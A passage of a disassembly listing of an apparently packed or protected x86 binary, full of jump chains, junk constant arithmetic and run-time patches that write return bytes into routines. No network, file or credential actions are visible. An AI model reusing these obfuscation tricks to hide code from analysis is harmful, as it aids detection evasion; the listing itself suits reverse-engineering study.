sub_44585C	proc near		; CODE XREF: y22d6.y.:0043C149p
					; y22d6.y.:0043C2F6j

; FUNCTION CHUNK AT 0043FA60 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00440BFC SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	29A2C717h
		pop	edx
		or	edx, 0D03D4EDh
		sub	edx, 7CA4B615h
		jmp	loc_43FA60
sub_44585C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C758

loc_445877:				; CODE XREF: sub_44C758:loc_446124j
		pop	esi
		pushf
		push	0AB7C7865h
		pop	eax
		or	eax, 0BE3B54F6h
		xor	eax, 0ED45DC06h
		add	eax, ebp
		add	eax, 0ADC55F0Bh
		jmp	loc_4426FD
; END OF FUNCTION CHUNK	FOR sub_44C758
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F5A

loc_445898:				; CODE XREF: sub_439F5A:loc_440FA3j
		pop	ebx
		and	ebx, 0BA9A9A0Ch
		add	ebx, 2A105354h
		add	ebx, ebp
		jmp	loc_44068B
; END OF FUNCTION CHUNK	FOR sub_439F5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4458AC:				; CODE XREF: sub_4432B8-2A5Cj
		jnz	loc_4377BF
		jmp	loc_442176
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B10

loc_4458B7:				; CODE XREF: sub_437B10:loc_44380Fj
		jnz	loc_44CCFB
		cdq
		pushf
		jnz	loc_437A57
		jmp	loc_44CCFB
; END OF FUNCTION CHUNK	FOR sub_437B10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_4458CA:				; CODE XREF: sub_43FAC6:loc_43B5D1j
		jge	loc_438963
		sbb	esi, eax

loc_4458D2:				; CODE XREF: sub_43FAC6:loc_442F68j
		push	0ADB3B54Eh
		pop	eax
		or	eax, 0B3C4812Ch
		xor	eax, 83521245h
		jmp	loc_443B73
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------

loc_4458E9:				; CODE XREF: y22d6.y.:loc_44710Bj
		push	0F4DA5592h
		pop	edx
		rol	edx, 12h
		jb	loc_443E7D

loc_4458F8:				; CODE XREF: y22d6.y.:0044D6A1j
		jmp	loc_440861
; ---------------------------------------------------------------------------

loc_4458FD:				; CODE XREF: y22d6.y.:00437C77j
					; y22d6.y.:00449B48j
		xor	eax, 0BE4F3AA4h
		push	edx
		pushf
; START	OF FUNCTION CHUNK FOR sub_43F750

loc_445905:				; CODE XREF: sub_43F750:loc_44A9BDj
		push	0D88588FEh
		pop	edx
		add	edx, 799CC5E0h
		xor	edx, 0A974563Ah
		rol	edx, 0Bh
		jmp	loc_43A4F8
; END OF FUNCTION CHUNK	FOR sub_43F750
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_44591F:				; CODE XREF: sub_4450FD-A9F1j
					; sub_4450FD:loc_446E58j
		push	0D2855A03h
		pop	eax
		rol	eax, 0Dh
		test	eax, 10000h
		jmp	loc_43A12F
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_445933:				; CODE XREF: sub_43E185+4B25j
		xor	edi, 6FC7FA9Fh
		rol	edi, 13h
		sub	edi, 0F1AD160Bh
		or	edi, 43B4A522h
		xor	edi, 0D4D180FBh
		jmp	loc_445A93
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------

loc_445953:				; DATA XREF: sub_43F112+1o
		jno	loc_44899F
		call	sub_449956

loc_44595E:				; CODE XREF: y22d6.y.:0043EEFCj
		jmp	loc_437B85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_445963:				; CODE XREF: sub_43B7D4:loc_442ECEj
		mov	[esi], eax
		and	edx, 519586AEh
		jge	loc_4485C7
		test	edx, ebx
		jmp	loc_445DE9
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_445978:				; CODE XREF: sub_439051:loc_4398D2j
		test	edi, 0A49FD0E9h
		jmp	loc_43D6D6
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
		push	edi
		push	0F2D7B579h
		pop	edi
		rol	edi, 0Ah
		jb	loc_4486D7

loc_445993:				; CODE XREF: y22d6.y.:0044D6ACj
		jmp	loc_438EA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445B95

loc_445998:				; CODE XREF: sub_445B95+9j
		jmp	nullsub_101
; END OF FUNCTION CHUNK	FOR sub_445B95
; ---------------------------------------------------------------------------
		jnz	loc_43F48C
		and	edx, 0D266D98Dh
		jmp	loc_4486D0
; ---------------------------------------------------------------------------

loc_4459AE:				; CODE XREF: y22d6.y.:loc_43BCA4j
		jz	loc_4428E0

loc_4459B4:				; CODE XREF: y22d6.y.:0044866Aj
		jmp	loc_44B9FE
; ---------------------------------------------------------------------------

loc_4459B9:				; CODE XREF: y22d6.y.:loc_4474A3j
		jmp	loc_43A7E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441030

loc_4459BE:				; CODE XREF: sub_441030+11j
		jmp	loc_43C02D
; END OF FUNCTION CHUNK	FOR sub_441030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443778

loc_4459C3:				; CODE XREF: sub_443778-344Dj
		jmp	nullsub_256
; END OF FUNCTION CHUNK	FOR sub_443778
; ---------------------------------------------------------------------------
		ror	ebp, 1Bh
		add	esi, eax
		jmp	loc_4428D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_4459D2:				; CODE XREF: sub_448C77:loc_439BC5j
		jl	loc_4474EB

loc_4459D8:				; CODE XREF: y22d6.y.:00443827j
		jmp	loc_44A2E6
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------

loc_4459DD:				; CODE XREF: y22d6.y.:00442EA4j
					; y22d6.y.:loc_44BE48j
		jmp	sub_43E0A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4459E2:				; CODE XREF: sub_448EB6-F54Ej
		jmp	nullsub_324
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FF84488Ah, 0E9CD3BFFh, 143Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448AF8

loc_4459F4:				; CODE XREF: sub_448AF8:loc_43D55Fj
		push	6794B8ADh
		pop	edi
		add	edi, 17820F96h
		sub	edi, 9AEE39D0h
		xor	edi, 0E4288E73h
		xchg	edi, [esp+8+var_8]
		push	edi
		jmp	loc_44E258
; END OF FUNCTION CHUNK	FOR sub_448AF8

; =============== S U B	R O U T	I N E =======================================



sub_445A15	proc near		; CODE XREF: sub_43B252:loc_44851Dp
					; y22d6.y.:0044A5ACj

; FUNCTION CHUNK AT 00439B60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043ADB0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043B1A4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043BBB7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043CEBF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043DC14 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C3EB SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		ror	eax, 7
		xor	eax, 0B4487194h
		jmp	loc_43BBB7
sub_445A15	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_180. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4431CD

loc_445A28:				; CODE XREF: sub_4431CD:loc_4421FBj
					; y22d6.y.:004446EBj
		jmp	loc_43EDB3
; END OF FUNCTION CHUNK	FOR sub_4431CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C8E9

loc_445A2D:				; CODE XREF: sub_44C8E9-12504j
		jmp	sub_43BE66
; END OF FUNCTION CHUNK	FOR sub_44C8E9
; ---------------------------------------------------------------------------
		push	edi
		push	212BF348h
		xchg	ebx, [esp]
; START	OF FUNCTION CHUNK FOR sub_440494

loc_445A3B:				; CODE XREF: sub_440494:loc_4397D9j
		mov	edi, ebx
		jmp	loc_44E42F
; END OF FUNCTION CHUNK	FOR sub_440494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_445A42:				; CODE XREF: sub_438B66+9EE1j
		cmp	eax, [edx+18h]
		jnb	loc_44506C
		jmp	loc_43E642
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------

loc_445A50:				; CODE XREF: y22d6.y.:0044CA5Cj
		call	sub_445787
; START	OF FUNCTION CHUNK FOR sub_44D313

loc_445A55:				; CODE XREF: sub_44D313-8E4Fj
		jmp	nullsub_320
; END OF FUNCTION CHUNK	FOR sub_44D313
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_445A5A:				; CODE XREF: sub_44271A+857Fj
		jbe	loc_43D104
		jnz	loc_4481DD
		push	ebp

loc_445A67:				; CODE XREF: sub_44271A:loc_441BD8j
		push	25D38986h
		jmp	loc_444799
; END OF FUNCTION CHUNK	FOR sub_44271A

; =============== S U B	R O U T	I N E =======================================



sub_445A71	proc near		; DATA XREF: sub_43E185-4F30o
		xchg	esi, [esp+0]
		mov	edx, eax
		jmp	loc_438808
sub_445A71	endp

; ---------------------------------------------------------------------------

loc_445A7B:				; CODE XREF: y22d6.y.:004391B6j
		push	0D120C413h
		pop	edx
		or	edx, 5D2E58D1h
		add	edx, 23150021h
		jmp	loc_445C1D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_445A93:				; CODE XREF: sub_43E185+77C9j
		jmp	loc_444A7D
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446B8

loc_445A98:				; CODE XREF: sub_4446B8+18j
		jmp	loc_44E0E8
; END OF FUNCTION CHUNK	FOR sub_4446B8
; ---------------------------------------------------------------------------

loc_445A9D:				; DATA XREF: sub_447BB2+36E5o
		add	ecx, 0C3FDA05Bh
		popf
		xor	eax, ecx
		pop	ecx
		jmp	loc_437EB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446222

loc_445AAC:				; CODE XREF: sub_446222:loc_43D8A0j
		push	edx
		push	edi
		push	537A0FC9h
		pop	edi
		or	edi, 3E21198Dh
		jmp	loc_44CE49
; END OF FUNCTION CHUNK	FOR sub_446222
; ---------------------------------------------------------------------------

loc_445ABF:				; CODE XREF: y22d6.y.:004384F7j
		xchg	edi, [esp]
		jmp	loc_447D55
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0FFFF344Bh, 0CFC62BB8h, 80685219h, 5AAFC3F6h, 0B61AEA81h
		dd 0F281BC23h, 0B8A769FEh, 0E91EC2C1h, 0FFFF6C45h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_445AEC:				; CODE XREF: sub_4481EF+Cj
		jnz	loc_448A93
		jmp	loc_43F4CB
; END OF FUNCTION CHUNK	FOR sub_4481EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_445AF7:				; CODE XREF: sub_44E5C7-118CCj
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44C761
		jmp	loc_442CED
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_445B08:				; CODE XREF: sub_448B15+9j
		push	eax
		mov	eax, ecx
		push	offset loc_43ADF0
		jmp	nullsub_119
; END OF FUNCTION CHUNK	FOR sub_4383E0

; =============== S U B	R O U T	I N E =======================================



sub_445B15	proc near		; CODE XREF: sub_439765+10p
					; y22d6.y.:004405B9j
		xchg	edx, [esp+0]
		pop	edx
		movzx	eax, word ptr [eax]
		and	eax, 0FFFF7FFFh
		push	ecx
		push	0F3269778h
		pop	ecx
		jmp	loc_445EFE
sub_445B15	endp

; ---------------------------------------------------------------------------
		push	7C285AAFh
		jmp	loc_442F94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_445B37:				; CODE XREF: sub_43B98D-FAFj
		jno	loc_44D942
		xchg	ebp, ecx
		jmp	loc_449515
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
		mov	[eax], esi
		jmp	sub_43F0F0
; ---------------------------------------------------------------------------

loc_445B4B:				; CODE XREF: y22d6.y.:00443FC3j
		push	esi
		sbb	eax, 0CCF5E8BFh

loc_445B52:				; CODE XREF: y22d6.y.:loc_443FB0j
		rol	ecx, 1Eh
		add	ecx, 0A740C5D6h
		jmp	loc_44C522
; ---------------------------------------------------------------------------

loc_445B60:				; CODE XREF: y22d6.y.:loc_443726j
		jnz	loc_440BE5
		jmp	loc_447CEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_445B6B:				; CODE XREF: sub_44A359+2AB0j
		jz	loc_4455A9
		jmp	loc_4478F4
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------

loc_445B76:				; CODE XREF: y22d6.y.:0044AE2Fj
		push	edi
		push	0E3EF9855h
		pop	edi
		rol	edi, 13h
		add	edi, 3D948E29h
		call	sub_44B080

loc_445B8B:				; CODE XREF: y22d6.y.:0043D906j
		jmp	loc_44BA6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B656

loc_445B90:				; CODE XREF: sub_43B656+Dj
		jmp	loc_44D975
; END OF FUNCTION CHUNK	FOR sub_43B656

; =============== S U B	R O U T	I N E =======================================



sub_445B95	proc near		; DATA XREF: sub_43B98D-AAEo

; FUNCTION CHUNK AT 00445998 SIZE 00000005 BYTES

		cdq
		add	eax, [esp+0]
		push	offset loc_43D1B7
		jmp	loc_445998
sub_445B95	endp


; =============== S U B	R O U T	I N E =======================================



sub_445BA3	proc near		; DATA XREF: y22d6.y.:00446003o
		mov	[edi], eax
		pop	edi
		lea	eax, nullsub_354

loc_445BAC:				; CODE XREF: y22d6.y.:0044BDA6j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_354
sub_445BA3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	ebx, [esp]
		mov	edx, ebx
		jmp	loc_43E339
; ---------------------------------------------------------------------------

locret_445BBE:				; CODE XREF: y22d6.y.:0043C010j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E86C

loc_445BBF:				; CODE XREF: sub_43E86C+95CFj
		rol	edi, 0Dh
		jmp	loc_43A1DF
; END OF FUNCTION CHUNK	FOR sub_43E86C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44371A

loc_445BC7:				; CODE XREF: sub_44371A+6j
		pop	ebp
		mov	eax, ds:dword_444B90
		or	eax, eax
		jnz	loc_43D76F
		jmp	loc_44A80E
; END OF FUNCTION CHUNK	FOR sub_44371A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C758

loc_445BDB:				; CODE XREF: sub_44C758:loc_444F6Fj
		push	esi
		push	198882ECh
		xchg	eax, [esp+0Ch+var_C]
		mov	esi, eax
		pop	eax
		jmp	loc_44A1CE
; END OF FUNCTION CHUNK	FOR sub_44C758
; ---------------------------------------------------------------------------

loc_445BEC:				; CODE XREF: y22d6.y.:0043756Ej
		add	edx, 0A1813528h
		xchg	edx, [esp]
		jmp	loc_44C21D
; ---------------------------------------------------------------------------

loc_445BFA:				; CODE XREF: y22d6.y.:0044A40Ej
		jz	loc_43D055

loc_445C00:				; CODE XREF: y22d6.y.:00438E52j
		jmp	loc_441F4F
; ---------------------------------------------------------------------------
		jl	loc_43B02B
		pop	ebx
		adc	edi, 0F7AD2CE3h
		cmp	edx, 12533707h
		jmp	loc_43D04F
; ---------------------------------------------------------------------------

loc_445C1D:				; CODE XREF: y22d6.y.:00445A8Dj
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_43774C
		jmp	loc_441D22
; ---------------------------------------------------------------------------

loc_445C2C:				; CODE XREF: y22d6.y.:00444A0Ej
		mov	eax, 24DE0EA8h
		call	sub_4407AE
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_445C36:				; CODE XREF: sub_441F08:loc_445136j
					; sub_441F08+A509j
		push	7BE9A006h
		or	eax, 0A7594455h
		jmp	loc_43F000
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_445C46:				; CODE XREF: sub_44271A:loc_4383D0j
		call	sub_44D02E
; END OF FUNCTION CHUNK	FOR sub_44271A
; START	OF FUNCTION CHUNK FOR sub_43AD64

loc_445C4B:				; CODE XREF: sub_43AD64+Fj
		jmp	loc_43AC1D
; END OF FUNCTION CHUNK	FOR sub_43AD64

; =============== S U B	R O U T	I N E =======================================



sub_445C50	proc near		; CODE XREF: y22d6.y.:0043A872p
					; sub_448EB6-526Dj

arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00442111 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044AAEB SIZE 00000009 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ecx
		mov	ecx, [esp+arg_C]
		mov	dword ptr [ecx], 10001h
		call	sub_43F3AD

loc_445C64:				; CODE XREF: sub_439E63+12E06j
		jmp	loc_442111
sub_445C50	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_445C69:				; CODE XREF: sub_43BCA9-41E3j
		jmp	sub_449F8E
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_445C6E:				; CODE XREF: sub_448EB6-BEAAj
		shl	esi, 19h
		cdq
		ror	ebp, 1Ah
		jmp	loc_441AB4
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E14

loc_445C7A:				; CODE XREF: sub_444E14:loc_43DEBEj
		xor	ecx, 64064A26h
		add	ecx, 70864EF4h
		call	sub_43D9C7

loc_445C8B:				; CODE XREF: sub_44B1D2:loc_437753j
		cmp	eax, 16A4A695h
		jmp	loc_43A0B4
; END OF FUNCTION CHUNK	FOR sub_444E14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4499C1

loc_445C96:				; CODE XREF: sub_4499C1+3j
		call	sub_43CEE2

loc_445C9B:				; CODE XREF: sub_43BCA9-354j
		jmp	sub_44C171
; END OF FUNCTION CHUNK	FOR sub_4499C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFF2

loc_445CA0:				; CODE XREF: sub_43CFF2+6C38j
		sub	ebp, 0B12A69B7h

loc_445CA6:				; CODE XREF: sub_44D088:loc_44D099j
		mov	eax, 0CF0182F6h
		call	sub_43CA1A
		xor	eax, 0E2EB2F0Ah
		rol	eax, 19h
		push	edx
		jmp	loc_44E1E7
; END OF FUNCTION CHUNK	FOR sub_43CFF2
; ---------------------------------------------------------------------------
		or	eax, eax
		jnz	loc_44B64E
		jmp	loc_44A9A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFF2

loc_445CCC:				; CODE XREF: sub_43CFF2+11473j
		push	offset sub_443A5C
		jmp	nullsub_282
; END OF FUNCTION CHUNK	FOR sub_43CFF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CEE2

loc_445CD6:				; CODE XREF: sub_43CEE2:loc_437ADBj
		call	sub_449CBB
; END OF FUNCTION CHUNK	FOR sub_43CEE2
; START	OF FUNCTION CHUNK FOR sub_43E86C

loc_445CDB:				; CODE XREF: sub_43E86C+1j
		jmp	loc_4398E2
; END OF FUNCTION CHUNK	FOR sub_43E86C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E7BF

loc_445CE0:				; CODE XREF: sub_43E7BF-763Cj
		jmp	loc_44C009
; END OF FUNCTION CHUNK	FOR sub_43E7BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBC3

loc_445CE5:				; CODE XREF: sub_43FBC3-46E1j
		test	ebx, eax
		jmp	loc_43B470
; END OF FUNCTION CHUNK	FOR sub_43FBC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_445CEC:				; CODE XREF: sub_4450FD:loc_43E8C0j
		shl	ebx, 3

loc_445CEF:				; CODE XREF: sub_4450FD:loc_43E8B9j
		and	eax, 0C2C2A6FBh
		js	loc_440959

loc_445CFB:				; CODE XREF: sub_44122D+Cj
		jmp	loc_44DB11
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
		mov	eax, edi
		or	edx, ebx
		jmp	loc_440951
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438880

loc_445D09:				; CODE XREF: sub_438880+1Dj
		push	offset loc_441ACB
		jmp	locret_448FEE
; END OF FUNCTION CHUNK	FOR sub_438880
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_445D13:				; CODE XREF: sub_44057E+8j
		mov	dword ptr [ebp-20h], 1

loc_445D1A:				; CODE XREF: sub_44057E+81ADj
		jnz	loc_448767
		mov	eax, [ebp-18h]
		test	dword ptr [eax], 0FFFF0000h
		jnz	loc_448721
		jmp	loc_44D252
; END OF FUNCTION CHUNK	FOR sub_44057E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_280. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D83F

loc_445D35:				; CODE XREF: sub_44D83F+Bj
		jmp	locret_4490E3
; END OF FUNCTION CHUNK	FOR sub_44D83F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443D70

loc_445D3A:				; CODE XREF: sub_443D70+8j
		jmp	loc_438E8E
; END OF FUNCTION CHUNK	FOR sub_443D70
; ---------------------------------------------------------------------------

loc_445D3F:				; CODE XREF: y22d6.y.:loc_43CA58j
		pop	edx
		mov	eax, [esp]
		push	eax
		mov	eax, edx
		xchg	eax, [esp]
		call	sub_44ABC9
		push	0DDD19BD2h
		jmp	loc_44B9A1
; ---------------------------------------------------------------------------

loc_445D58:				; DATA XREF: sub_441E5C:loc_4453D1o
		add	ebx, 423DC726h
		add	ebx, ebp
		push	eax
		push	0B5590B45h
		jmp	loc_44BE85
; ---------------------------------------------------------------------------

loc_445D6B:				; CODE XREF: y22d6.y.:0043B67Aj
		adc	ebx, 13BAE0A1h
; START	OF FUNCTION CHUNK FOR sub_44E2B6

loc_445D71:				; CODE XREF: sub_44E2B6:loc_43B668j
		add	ebx, 45795BBh
		xchg	ebx, [esp+0]
		jmp	loc_43FF77
; END OF FUNCTION CHUNK	FOR sub_44E2B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44256D

loc_445D7F:				; CODE XREF: sub_44256D:loc_4398BFj
		call	sub_43CA1A

loc_445D84:				; CODE XREF: sub_43C242:loc_43C404j
		mov	ds:off_41E194, eax
		lea	eax, sub_44256D
		mov	byte ptr [eax],	0C3h
		jmp	loc_43EFFB
; ---------------------------------------------------------------------------

loc_445D98:				; CODE XREF: sub_44256Dj
		pop	edx
		mov	eax, [esp+0]
		push	edx
		call	sub_43FF1B

loc_445DA2:				; CODE XREF: sub_44D64C-C82Aj
		jmp	loc_4431BD
; END OF FUNCTION CHUNK	FOR sub_44256D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_445DA7:				; CODE XREF: sub_44BBBA-112A0j
		jmp	loc_44523D
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_445DAC:				; CODE XREF: sub_43D20E-4F77j
					; y22d6.y.:loc_43AEE9j
		jmp	loc_439C1A
; END OF FUNCTION CHUNK	FOR sub_43D20E

; =============== S U B	R O U T	I N E =======================================



sub_445DB1	proc near		; CODE XREF: sub_43760Ap
					; y22d6.y.:00449395j

; FUNCTION CHUNK AT 0043BBA2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044A2E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B520 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ebp
		mov	ebp, esp
		jb	loc_43BBA2
		add	esp, 0FFFFFFECh
		mov	eax, offset dword_446DC0
		push	offset sub_443EF1
		jmp	loc_44B520
sub_445DB1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E7D

loc_445DD0:				; CODE XREF: sub_447E7D+Aj
		mov	ebp, esi
		xchg	ebp, [esp+0]
		mov	esi, edx

loc_445DD7:				; CODE XREF: y22d6.y.:loc_443FC8j
		xchg	esi, [esp+0]
		call	sub_442060
		mov	eax, 0C684C00Ch
		jmp	sub_43C694
; END OF FUNCTION CHUNK	FOR sub_447E7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_445DE9:				; CODE XREF: sub_43B7D4+A19Fj
		jl	sub_43BCA9
		ja	loc_44A962
		jmp	loc_44B25A
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------
		cmp	edx, 7001F59Dh
		jmp	loc_43F79E
; ---------------------------------------------------------------------------

loc_445E05:				; CODE XREF: y22d6.y.:loc_442AF5j
		rol	ecx, 0Dh
		jb	loc_439D9E
		shr	esi, 0Bh
		jmp	loc_439D95
; ---------------------------------------------------------------------------

loc_445E16:				; CODE XREF: y22d6.y.:loc_442379j
		jz	loc_444BD3
		jmp	loc_445037
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_445E21:				; CODE XREF: sub_43E81B:loc_4498C7j
		add	eax, 0BF313041h
		add	eax, ebp
		add	eax, 366A8F79h
		push	eax
		mov	eax, [ebp-4]
		push	esi
		mov	esi, ecx
		jmp	loc_447EB0
; END OF FUNCTION CHUNK	FOR sub_43E81B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_269. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_445E3C:				; CODE XREF: y22d6.y.:00438540j
		jmp	loc_4492DB

; =============== S U B	R O U T	I N E =======================================



sub_445E41	proc near		; CODE XREF: y22d6.y.:0043E0E9p
					; y22d6.y.:0044E3E8j
		xchg	edx, [esp+0]
		pop	edx
		push	17C6C0C2h
		pop	edi
		add	edi, 23DBE4BBh
sub_445E41	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43ED4E

loc_445E51:				; CODE XREF: sub_43ED4E:loc_43BE59j
		or	edi, 25417B55h
		add	edi, 0C05DE203h
		mov	[edi], eax
		jmp	loc_44C582
; END OF FUNCTION CHUNK	FOR sub_43ED4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_445E64:				; CODE XREF: sub_4432B8+252j
		jns	loc_44024A
		jmp	sub_448EB6
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3DD

loc_445E6F:				; CODE XREF: sub_43C3DD-14ABj
		or	ebp, 14573D4Dh
		jmp	loc_43BBD7
; END OF FUNCTION CHUNK	FOR sub_43C3DD
; ---------------------------------------------------------------------------
		not	eax
		jmp	sub_441191
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_445E82:				; CODE XREF: sub_448C77-16A0j
		jmp	loc_442C19
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_445E87:				; CODE XREF: sub_448EB6:loc_448F50j
		sbb	ebp, eax
		adc	edx, 0ED0F94F5h
		xchg	ebx, [edx]
		jmp	loc_43B9B1
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_445E96:				; CODE XREF: y22d6.y.:0044C3A8j
		pop	edi
		xchg	ecx, [esp]
		mov	ebp, ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_445E9E:				; CODE XREF: sub_44AA69:loc_4494C3j
		mov	eax, ds:dword_44186C
		or	eax, eax
		jnz	loc_44B2AE
		jmp	loc_44A8D0
; END OF FUNCTION CHUNK	FOR sub_44AA69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_445EB1:				; CODE XREF: sub_4383E0:loc_44E5C2j
		mov	edx, eax
		jmp	loc_43F1C4
; END OF FUNCTION CHUNK	FOR sub_4383E0
